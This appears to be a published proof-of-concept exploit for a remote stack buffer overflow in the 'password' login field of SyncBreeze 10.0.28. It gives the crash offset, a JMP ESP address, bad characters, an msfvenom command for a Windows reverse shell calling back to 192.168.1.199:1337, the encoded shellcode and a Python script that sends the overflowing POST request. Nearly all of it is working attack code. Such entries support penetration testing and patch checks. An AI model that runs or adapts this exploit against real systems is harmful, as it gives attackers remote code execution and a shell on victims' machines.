SyncBreeze 10.0.28 – ‘password’ Remote Buffer Overflow
# Exploit Title: SyncBreeze 10.0.28 - 'password' Remote Buffer Overflow # Date: 18-Sep-2020 # Exploit Author: Abdessalam king(A.salam) # Vendor Homepage: http://www.syncbreeze.com # Software Link: http://www.syncbreeze.com/setups/syncbreezeent_setup_v10.0.28.exe # Version: 10.0.28 # Tested on: Windows 7,windows xp,windows 10 #72413372 [*] Exact match at offset 520 #jmp esp FFE4 \xff\xe4 #!mona modules #!mona find -s "\xff\xe4" -m libspp.dll #address esp => 10090C83 #badchars ==> "\x00\x0a\x0d\x25\x26\x2b\x3d" #msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.199 LPORT=1337 -f c -b "\x00\x0a\x0d\x25\x26\x2b\x3d" EXITFUNC=thread #!/usr/bin/python import socket shell ="" shell +="\xba\x4b\x38\x98\x39\xdd\xc7\xd9\x74\x24\xf4\x5f\x33\xc9\xb1" shell +="\x53\x83\xef\xfc\x31\x57\x10\x03\x57\x10\xa9\xcd\x64\xd1\xaf" shell +="\x2e\x95\x22\xcf\xa7\x70\x13\xcf\xdc\xf1\x04\xff\x97\x54\xa9" shell +="\x74\xf5\x4c\x3a\xf8\xd2\x63\x8b\xb6\x04\x4d\x0c\xea\x75\xcc" shell +="\x8e\xf0\xa9\x2e\xae\x3b\xbc\x2f\xf7\x21\x4d\x7d\xa0\x2e\xe0" shell +="\x92\xc5\x7a\x39\x18\x95\x6b\x39\xfd\x6e\x8a\x68\x50\xe4\xd5" shell +="\xaa\x52\x29\x6e\xe3\x4c\x2e\x4a\xbd\xe7\x84\x21\x3c\x2e\xd5" shell +="\xca\x93\x0f\xd9\x39\xed\x48\xde\xa1\x98\xa0\x1c\x5c\x9b\x76" shell +="\x5e\xba\x2e\x6d\xf8\x49\x88\x49\xf8\x9e\x4f\x19\xf6\x6b\x1b" shell +="\x45\x1b\x6a\xc8\xfd\x27\xe7\xef\xd1\xa1\xb3\xcb\xf5\xea\x60" shell +="\x75\xaf\x56\xc7\x8a\xaf\x38\xb8\x2e\xbb\xd5\xad\x42\xe6\xb1" shell +="\x02\x6f\x19\x42\x0c\xf8\x6a\x70\x93\x52\xe5\x38\x5c\x7d\xf2" shell +="\x3f\x77\x39\x6c\xbe\x77\x3a\xa4\x05\x23\x6a\xde\xac\x4b\xe1" shell +="\x1e\x50\x9e\x9c\x15\xf7\x70\x83\xd7\x6d\x71\x29\x2a\x1a\x9b" shell +="\xa2\xf5\x3a\xa4\x68\x9e\xd3\x58\x93\xbe\xb3\xd5\x75\xaa\xa3" shell +="\xb3\x2e\x43\x06\xe0\xe6\xf4\x79\xc3\x8c\x3b\xf0\xb3\xd9\xd3" shell +="\x4c\xaa\xde\xdc\x4c\xf9\x48\x4b\xc7\xed\x4c\x6a\xd8\x38\xe5" shell +="\xfb\x4f\xb7\x64\x49\xf1\xc8\xac\x3b\xf1\x5c\x4b\xea\xa6\xc8" shell +="\x51\xcb\x81\x57\xa9\x3e\x92\x9f\x55\xbf\xb8\xd4\x60\x55\x83" shell +="\x82\x8c\xb9\x03\x52\xdb\xd3\x03\x3a\xbb\x87\x57\x5f\xc4\x1d" shell +="\xc4\xcc\x51\x9e\xbd\xa1\xf2\xf6\x43\x9c\x35\x59\xbb\xcb\x45" shell +="\x9e\x43\x8d\x4e\x5e\x87\x58\x97\x15\xee\x59\xac\x36\xed\x77" shell +="\xd9\xde\xa8\x12\x60\x83\x4a\xc9\xa7\xba\xc8\xfb\x57\x39\xd0" shell +="\x8e\x52\x05\x56\x63\x2f\x16\x33\x83\x9c\x17\x16"; payload = "username=AAAAA&password="+"A"*520+"\x83\x0c\x09\x10"+ "\x90" * 20 + shell +"\x90"*(1400-520-4-20-len(shell)) req ="" req += "POST /login HTTP/1.1\r\n" req += "Host: 192.168.1.20\r\n" req += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0\r\n" req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" req += "Accept-Language: en-US,en;q=0.5\r\n" req += "Accept-Encoding: gzip, deflate\r\n" req += "Referer: http://192.168.1.20/login\r\n" req += "Content-Type: application/x-www-form-urlencoded\r\n" req += "Content-Length: "+str(len(payload))+"\r\n" req += "Connection: keep-alive\r\n" req += "Upgrade-Insecure-Requests: 1\r\n" req += "\r\n" req += payload # print req s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.1.20",80)) s.send(req) print s.recv(1024) s.close() |